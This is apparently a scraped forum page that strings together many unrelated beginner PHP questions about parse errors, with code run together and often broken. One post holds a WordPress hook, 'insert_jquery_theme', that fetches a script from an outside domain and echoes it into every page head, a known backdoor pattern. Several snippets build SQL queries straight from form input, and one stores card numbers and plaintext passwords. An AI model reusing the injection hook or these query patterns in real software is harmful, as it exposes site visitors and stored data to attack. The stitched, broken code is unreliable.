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PHP - Parse Error: Syntax Error, Unexpected $end In /results.php On Line 410
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Hello everyone,
1 <?php
7 // Create connection
10 // Check connection
14 $firstname = $conn->real_escape_string($_REQUEST['firstname']); 25 $sql2 = "INSERT INTO countries VALUES ('$country')"; 27 $sql3 = "INSERT INTO Contacts (firstname, lastname, address, city, country, phone, email) VALUES ('$firstname', '$lastname', '$address', $city, $country, '$phone_number','$email')";
29 SELECT * FROM cities;
if($conn->query($sql2) === true){
if($conn->query($sql3) === true){ I don`t get it, waht is wrong?! Code: [Select] <?php require_once 'auth.php'; if (!isset($_SESSION['SESS_VERIFY'])) { header("location: access-denied.php"); exit(); } if ($_SESSION['lang'] == 'Ro') { // setare data romania date_default_timezone_set('Europe/Bucharest'); $today = getdate(); $zi = $today['mday']; $luna = $today['mon']; $lunastring = $today['month']; $an = $today['year']; $data = $zi.$luna.$an; $data = (string)$data; $ora = date('H:i:s'); $msg = array(); $err = array(); $luni = array ( 1=>'Ianuarie', 2=>'Februarie', 3=>'Martie', 4=>'Aprilie', 5=>'Mai', 6=>'Iunie', 7=>'Iulie', 8=>'August', 9=>'Septembrie', 10=>'Octobrie', 11=>'Noiembrie', 12=>'Decembrie'); // comun const SQL_ERR = 'SQL statement failed with error: '; const ADD_MODEL = 'ADAUGA UN MODEL NOU'; . .many constants.. . } elseif ($_SESSION['lang'] == 'It') {... Thank you! This topic has been moved to PHP Applications. http://www.phpfreaks.com/forums/index.php?topic=344105.0 Code: [Select] <?php if (!isset($_POST['submit'])) { ?> <h2>Todays Special</h2> <p> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"> <select name="day"> <option value="1">Monday/Wednesday <option value="2">Tuesday/Thursday <option value="3">Friday/Sunday <option value="4">Saturday </select> input type="submit" name="submit" value="Go"> </form> <?php // get form selection $day = $_POST['day']; // check value and select appropriate item switch ($day) { case 1: $special = 'Chicken in oyster sauce'; break; case 2: $special = 'French onion soup'; break; case 3: $special = 'Pork chops with mashed potatoes and green salad'; break; default: $special = 'Fish and chips'; break; } ?> SET UP: Windows vista # XAMPP 1.7.3, # Apache 2.2.14 (IPv6 enabled) + OpenSSL 0.9.8l # MySQL 5.1.41 + PBXT engine # PHP 5.3.1 # phpMyAdmin After entering various different information from previous forms on different pages I finally get this error message "Parse error: syntax error, unexpected T_STRING in C:\blablah on line 31" on the following code: <?php //let's start our session, so we have access to stored data session_start(); include 'db.inc.php'; $db = mysql_connect(MYSQL_HOST, MYSQL_USER, MYSQL_PASSWORD) or die ('Unable to connect. Check your connection parameters.'); mysql_select_db(MYSQL_DB, $db) or die(mysql_error($db)); //let's create the query $query = 'INSERT INTO subscriptions (name, email_address, membership_type, terms_and_conditions, name_on_card, credit_card_number, credit_card_expiration_data) VALUES ( "' . $_SESSION[$name, $db] . '", ' . $_SESSION[$email_address, $db] . '", ' . $_SESSION[$membership_type, $db] . '", ' . $_SESSION[$terms_and_conditions, $db] . '", ' . $_POST[$name_on_card, $db] . '", ' . $_POST[$credit_card_number, $db] . '", ' . $_POST[$credit_card_expiration, $db] . ')'; if (isset($query)) { $result = mysql_query($query, $db) or die(mysql_error($db)); } ?> <p>Done!</p> </body> </html> ?> Any help would be appreciated. I'm practicing this with the ambition to develop a multi-page registration using sessions for a website so even web pages that might help me with this aim would be good. I keep getting an error code when running my php, it states: Parse error: syntax error, unexpected $end in W:\www\blog\login.php on line 33 Line 33 is </html> Code: [Select] <?php mysql_connect ("localhost", "root", ""); mysql_select_db("blog"); ?> <html> <head> <title>Login</title> </head> <body> <?php if(isset($_POST['submit'])){ $name = $_POST['name']; $pass = $_POST['password']; $result = mysql_query("SELECT * FROM users WHERE name='$name' AND pass='$pass'"); $num = mysql_num_rows($result); if($num == 0){ echo "Bad login, go <a href='login.php'>back</a>"; }else{ session_start(); $SESSION ['name'] = $name; header("Location: admin.php"); } ?> <form action='login.php' method='post'> Username: <input type='text' name='name' /><br /> Password: <input type='password' name='password' /><br /> <input type='submit' name='sumbit' value='Login!' /> </form> </body> </html>Can any one advise me whats wrong?
Hi im coding a php form using a tutorial im completely new at php need help what am i doing wrong Dear... I have problem with this code..can you help me ? Thanks Code: [Select] <?phpif (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');} Hi guys i have this error, Parse error: syntax error, unexpected end of file in C:\wamp64\www\nigthclub\videos.php on line 103
but i know is probably easy to solve but for some reason i dont see the error. please help me
<?php
session_start();
?>
<?php error_reporting (E_ALL ^ E_NOTICE); ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<link href="style.css" rel="stylesheet" type="text/css" />
<link href="tablefiestas.css" rel="stylesheet" type="text/css" />
<title>La Taverna de Juan</title>
</head>
<body>
<div id="container">
<div id="header">
<!--MENU BAR-->
<?php include("includes/db.php"); ?>
</div>
<!--VIDEOS-->
<?php
$query = ("SELECT * from videos");
$result = mysqli_query($connection,$query);
$num_per_page =05;
?>
<table border="1" width="100%">
<tr>
<td>Video Id</td>
<td>Titulo</td>
<td>Video</td>
</tr>
<tr>
<?php
while ($row=mysqli_fetch_assoc($result))
{
$videoid = $row['videoid'];
$titulo = $row['titulo'];
$url_video = $row['url_video'];
?>
<td><?php echo $videoid ?></td>
<td><?php echo $titulo ?></td>
<td><?php echo $url_video ?></td>
</tr>
<?php}?>
</table>
<?php
$query = "SELECT * from videos";
$pr_result = mysqli_query($connection,$query);
$totalrecord = mysqli_num_rows($pr_result);
echo $totalrecord;
?>
<br>
<div id="footer">
<!--FOOTER-->
<?php include("includes/footer.inc.php"); ?>
</div>
</div>
</body>
</html>
Edited November 18, 2019 by Psycho Added code tags hello, if any one can help me solve this error.
case "unsuspend":
$setupd = array("status" => "Active");
$db->update("members", $setupd, "id=" . $mid);
break;
case "activate":
$setupd = array("status" => "Active");
$db->update("members", $setupd, "id=" . $mid);
{
if ($settings['referral_contest'] == 'yes') {
$usr = $db->fetchRow( "SELECT ref1, status FROM members WHERE id=" . $mid );
if (( $usr['status'] == 'Un-verified' && $usr['ref1'] != 0 )) {
$referrer = $usr['ref1'];
if ($referrer != 0) {
$today_var = $settings['referral_reset'];
$chk = $db->fetchOne( "SELECT COUNT(*) AS NUM FROM referral_stats WHERE user_id=" . $referrer );
if ($chk == 0) {
$data = array( 'user_id' => $referrer, 'day' . $today_var => 1 );
$db->insert( 'referral_stats', $data );
}
else {
$db->query( "UPDATE referral_stats SET day" . $today_var . '=day' . $today_var . '+1 WHERE user_id=' . $referrer );
}
}
}
}
break;
case "delete":
$userdata = $db->fetchRow("SELECT username, country, ref1 FROM members WHERE id=" . $mid);
deletemember($mid);
if ($userdata['username'] != "BOT") {
$db->query("UPDATE country SET users=users-1 WHERE name=" . $userdata['country'] . "'");
}
if ($userdata['ref1'] != 0) {
$db->query("UPDATE members SET referrals=referrals-1, myrefs1=myrefs1-1 WHERE id=" . $userdata['ref1']);
}
break;
<?php
class Post{
private $user_obj;
private $con;
public function __construct($con, $user){
$this->con = $con;
$this->user_obj = new User($con,$user);
}
public function submitPost($body,$user_to){
$body = strip_tags($body);////Removing HTML TAGS
$body = mysqli_real_escape_string($this->con,$body);
$check_empty = preg_replace('/\s+/', '', $body);//delte all spaces
if($check_empty != ""){
//Current Date and time
$date_added = date("Y-m-d H:i:s");
//get username
$added_by = $this->user_obj->getUsername();
//if user have not a profile send to the none
if($user_to == $added_by){
$user_to = "none";
}
////insert query
$query = mysqli_query($this->con,"INSERT INTO posts VALUES('','$body','$added_by','$user_to','$date_added','no','no','0')");
$retured_id = mysqli_insert_id($this->con);
//insert notification
//Update post count for user
$num_post = $this->user_obj->getNumPosts();
$num_post++;
$update_query = mysqli_query($this->con,"UPDATE users SET num_post = '$num_post' WHERE username = '$added_by'" );
}
public function loadPostsFriends(){
$str = ""; //string to return
$data = mysqli_query($this->con,"SELECT * FROM posts where deleted = 'no' ORDER by id DESC");
while($row = mysqli_fetch_array($data))
{
$id = $row['id'];
$body = $row['body'];
$added_by = $row['added_by'];
$date_time = $row['date_added'];
/// Creating user post on other user profile
if($row['user_to'] == "none"){
user_to = "";
else {
$user_to_obj = new User($con,$row['user_to']);
$user_to_name = $user_to_obj->getFirstandLastname();
$user_to = "to <a href='" . $row['user_to'] . "'>" .$user_to_name . "</a>";
}
// check if user account was closed
$added_by_obj = new User($this->con,$added_by);
if($added_by_obj ->isClosed()){
continue;
}
$user_details_query = mysqli_query($this->con,"SELECT first_name,last_name,profile_pic FROM users where username = '$added_by'");
$user_row = mysqli_fetch_array($user_details_query);
$first_name = $user_row['first_name'];
$last_name = $user_row['last_name'];
$profile_pic= $user_row['profile_pic'];
///time stamp
$date_time_now = date("Y-m-d H:i:s");
$start_date = new Date_Time($date_time);////Time_of_post
$end_date = new Date_Time($date_time_now);///Current_time
$intervel = $start_date->diff($end_date);
if($intervel->y >< 1 ){
if($intervel ==1 )
$time_message = $intervel->y . " year ago";/// 1 Year Ago
else
$time_message = $intervel->y . " years ago"; //1+ year ago
}
else if($intervel-> m >= 1 ){
if($intervel->d == 0){
$days = " ago";
}
else if($intervel->d == 1){
$days = $intervel->d."day ago";
}
else
{
$days = $intervel->d."day ago";
}
if($intervel->m == 1){
$time_message = $intervel->m." month".$days;
}
else
$time_message = $intervel->m." months".$days;
}
}
else if($intervel->d >= 1){
if($intervel->d == 1){
$days = "Yesterday";
}
else
{
$days = $intervel->d."days ago";
}
}
else if($intervel->h >= 1){
if($intervel->h == 1){
$time_message = $intervel->h." hour ago";
}
else
{
$time_message = $intervel->h." hours ago";
}
}
else if($intervel->i >= 1){
if($intervel->i == 1){
$time_message = $intervel->i." minute ago";
}
else
{
$time_message = $intervel->i." minutes ago";
}
}
else{
if($intervel->s < 30){
$time_message = "Just Now";
}
else
{
$time_message = $intervel->s." seconds ago";
}
}
$str .= "<div class='status_post'>
<div calss='post_profile_pic'>
<img src='$profile_pic' width='50'>
</div>
<div calss='posted_by' style='color#ACACAC;'>
<a href = '$added_by'> $first_name $last_name </a> $user_to ; ; $time_message
</div>
<div id = 'post_body'$body<br></div>
</div>
"
}
echo $str;
}
}
?>
When i run this code this show me the error Parse error: syntax error, unexpected 'public' (T_PUBLIC) in C:\xampp\htdocs\social\Classes\Post.php on line 39 the line 39 is public function loadPostsFriends() I check the code again and again but i cant find the error please help in this error I'm not very good at php, but this is my full code. I'm not sure what the problem is. If anyone could give me a hand, I would surely appreciate it. Line 77 in the last line of the this code. <html> <head> <title>Ace!</title> </head> <body> <h1>Ace!</h1> <h3>Demonstrates if statement</h3> <?php $begin = rand(1,10); print "You picked roman number $begin"; printNumber16($begin); printNumber110($begin); function printNumber16($begin){ global $begin; if ($begin == 1 ){ print "I"; } else if ($begin == 2){ print "II"; } else if ($begin == 3){ print "III"; } else if ($begin == 4){ print "IV"; } else if ($begin == 5){ print "V"; } else { print "I don't know what you talking bout broham"; } function printNumber110($begin) { global $begin; switch ($begin){ case 1: $roman = "I"; break; case 2: $roman = "II"; break; case 3: $roman = "III"; break; case 4: $roman = "IV"; break; case 5: $roman = "V"; break; case 6: $roman = "VI"; break; default: print "This is an illegal die!"; } print "<br>"; print "<br>"; print "You chose roman number $roman"; print "<br>"; print "<br>"; ?> <br> Refresh this page in the browser to roll another die. </body> </html> I have an error on this php page and am getting confused with the curly brackets. I hope a set of fresh eyes will help me find the bracket I'm missing or misplaced. Any help would be greatly appreciated. Here's my code
<?php
if (isset($_POST['login-submit'])) {
require 'dbh.inc.php';
$mailuid = $_POST['mailuid'];
$password = $_POST['pwd'];
if (empty($mailuid) || empty($password)) {
header("Location: ../index.php?error=emptyfields");
exit();
}
else {
$sql = "SELECT * FROM users WHERE uidUsers=? OR emailUsers=?;";
$stmt = mysqli_stmt_init($conn);
if (!mysqli_stmt_prepare($stmt, $sql)) {
header("Location: ../index.php?error=sqlerror");
exit();
}
else {
mysqli_stmt_bind_param($stmt, "ss", $mailuid, $mailuid);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
if ($row = mysqli_fetch_assoc($result)) {
$pwdCheck = password_verify($password, $row['pwdUsers']);
if ($pwdCheck == false) {
header("Location: ../index.php?error=wrongpwd");
exit();
}
else if ($pwdCheck == true) {
session_start();
$_SESSION['userId'] = $row['idUsers'];
$_SESSION['userUid'] = $row['uidUsers'];
header("Location: ../index.php?login=success");
exit();
}
else {
header("Location: ../index.php?error=wrongpwd");
exit();
}
}
else (
header("Location: ../index.php?error=nouser");
exit();
)
}
}
}
else {
header("Location: ../index.php");
exit();
}
Parse error: syntax error, unexpected T_STRING in C:\xampp\htdocs\mywork\unique.php on line 15 <html> <head> <title> </title> </head> <body bgproperties="fixed"> <?php $dbhost = 'localhost'; $dbuser = 'root'; $dbpass = ''; $con = mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql'); $dbname = 'mywork'; mysql_select_db($dbname, $con); $sql=mysql_query(insert into users (regno,name,gender,date,month,year,emailid,cell,paddress,caddress,incometype,incomeamt,dad,fyes,dadocup,mom,myes,momocup,password) VALUES ('$_POST[regno]','$_POST[name]','$_POST[gender]','$_POST[date]','$_POST[month]','$_POST[year]','$_POST[emailid]','$_POST[cell]','$_POST[paddress]','$_POST[caddress]','$_POST[incometype]','$_POST[incomeamt]','$_POST[dad]','$_POST[fyes]','$_POST[dadocup]','$_POST[mom]','$_POST[myes]','$_POST[momocup]','$_POST[password]')"); $sql1=mysql_fetch_array($sql); $result = @mysql_query($SQl1); $result="SELECT * FROM users WHERE regno='$regno'"; while($row = mysql_fetch_array($result)) { //echo $row['regno']."regno<br>"; //echo $row['name']."name<br>"; //echo $row['gender']."gender<br>"; //echo $row['date']."date<br>"; //echo $row['month']."month<br>"; //echo $row['year']."year<br>"; //echo $row['emailid']."emailid<br>"; //echo $row['cell']."cell<br>"; //echo $row['paddress']."paddress<br>"; //echo $row['caddress']."caddress<br>"; //echo $row['incometype']."incometype<br>"; //echo $row['incomeamt']."incomeamt<br>"; //echo $row['dad']."dad<br>"; //echo $row['fyes']."fyes<br>"; //echo $row['dadocup']."dadocup<br>"; //echo $row['mom']."mom<br>"; //echo $row['myes']."myes<br>"; //echo $row['momocup']."momocup<br>"; //echo $row['password']."password<br>"; } echo "Thanks for Register!"; if (!mysql_query($sql,$con)) { die('Error: ' . mysql_error()); } echo "1 record added"; mysql_close($con); ?> <form name="security" action="index.php" method="post"> <input type="submit" value="click here to login"> </form> </body> </html> I just enabled error reporting and I am not that familiar with it. I know I have an error some where around line 33. I know I am missing a bracket or a comma or some other syntax error I just cannot find where the error is. Below is my script. Thanks for any help. Code: [Select] <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Airline Survey</title> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1" /> <meta name="author" content="Revised by abc1234"/> </head> <body> <?php $WaitTime = addslashes($_POST["wait_time"]); $Friendliness = addslashes($_POST["friendliness"]); $Space = addslashes($_POST["space"]); $Comfort = addslashes($_POST["comfort"]); $Cleanliness = addslashes($_POST["cleanliness"]); $Noise = addslashes($_POST["noise"]); if (empty($WaitTime) || empty($Friendliness) || empty($Space) || empty($Comfort) || empty($Cleanliness) || empty($Noise)) echo "<hr /><p>You must enter a value in each field. Click your browser's Back button to return to the form.</p><hr />"; else { $Entry = $WaitTime . "\n"; $Entry .= $Friendliness . "\n"; $Entry .= $Space . "\n"; $Entry .= $Comfort . "\n"; $Entry .= $Cleanliness . "\n"; $Entry .= $Noise . "\n"; $SurveyFile = fopen("survey.txt", "w") } if (flock($SurveyFile, LOCK_EX)) { if (fwrite($SurveyFile, $Entry) > 0) { echo "<p>The entry has been successfully added.</p>"; flock($SurveyFile, LOCK_UN; fclose($SurveyFile); else echo "<p>The entry could not be saved!</p>"; } else echo "<p>The entry could not be saved!</p>"; } ?d> <p><a href="AirlineSurvey.html">Return to Airline Survey</a></p> </body> </html> I have been trying to get my files to upload onto a computer and I receive this message: Parse error: syntax error, unexpected T_STRING in /home/content/19/6550319/html/listing.php on line 27. Line 27 is how the php logs into my SQL. The problem is that I was able to log in before. I just made changes to the form by adding a dropdown menu and price and now it says it doesnt parse. Can anyone figure this out. I will include the code without the login information because the forum is public but I did put the words left out for you to see where I took out the passcodes. Code: [Select] <?php //This is the directory where images will be saved $target = "potofiles/"; $target = $target . basename( $_FILES['photo']['name']); //This gets all the other information from the form $price=$_POST['price']; $gig=$_POST['giga']; $yesg=$_POST['yesg']; $pic=($_FILES['photo']['name']); $pic2=($_FILES['phototwo']['name']); $pic3=($_FILES['photothree']['name']); $pic4=($_FILES['photofour']['name']); $description=$_POST['iPadDescription']; $condition=$_POST['condition']; $fname=$_POST['firstName']; $lname=$_POST['lastName']; $email=$_POST['email'] // Connects to your Database mysql_connect ("left out", "left out", "left out") or die(mysql_error()) ; mysql_select_db("left out") or die(mysql_error()) ; //Writes the information to the database mysql_query("INSERT INTO listing (price,giga,yesg,photo,phototwo,photothree,photofour,iPadDescription,condition,firstName,lastName,email) VALUES ('$price', '$gig', '$yesg', '$pic', '$pic2', '$pic3', '$pic4', '$description', '$condition', '$fname', '$lname', '$email')") ; //Writes the photo to the server if(move_uploaded_file($_FILES['photo']['tmp_name'], $target)) { //Tells you if its all ok echo "The file ". basename( $_FILES['uploadedfile']['name']). " has been uploaded, and your information has been added to the directory"; } else { //Gives and error if its not echo "Sorry, there was a problem uploading your file."; } echo date("m/d/y : H:i:s", time()) ?> Hi folks, I am a complete n00b at php and mysql. I am teaching myself from books and the WWW, but alas I am stuck... the error I get is: Parse error: syntax error, unexpected T_STRING in X:\xampp\htdocs\search.php on line 7 here is the code: <?php mysql_connect ("localhost", "user", "password") or die (mysql_error()); mysql_select_db ("it_homehelp_test") or die (mysql_error()); $term = $_POST['term']; $sql = $mysql_query(select * from it_homehelp_test where ClientName1 like '%term%'); <<<------this is line 7 while ($row = mysql_fetch_array($sql)){ echo 'Client Name:' .$row['ClientName1']; echo 'Address:' .$row['Address1']; echo 'Phone:' .$row['Tel1']; } ?> Any help you can offer would be great. I can also post the ".html" file that creates the search bar if it is needed. Thanks |
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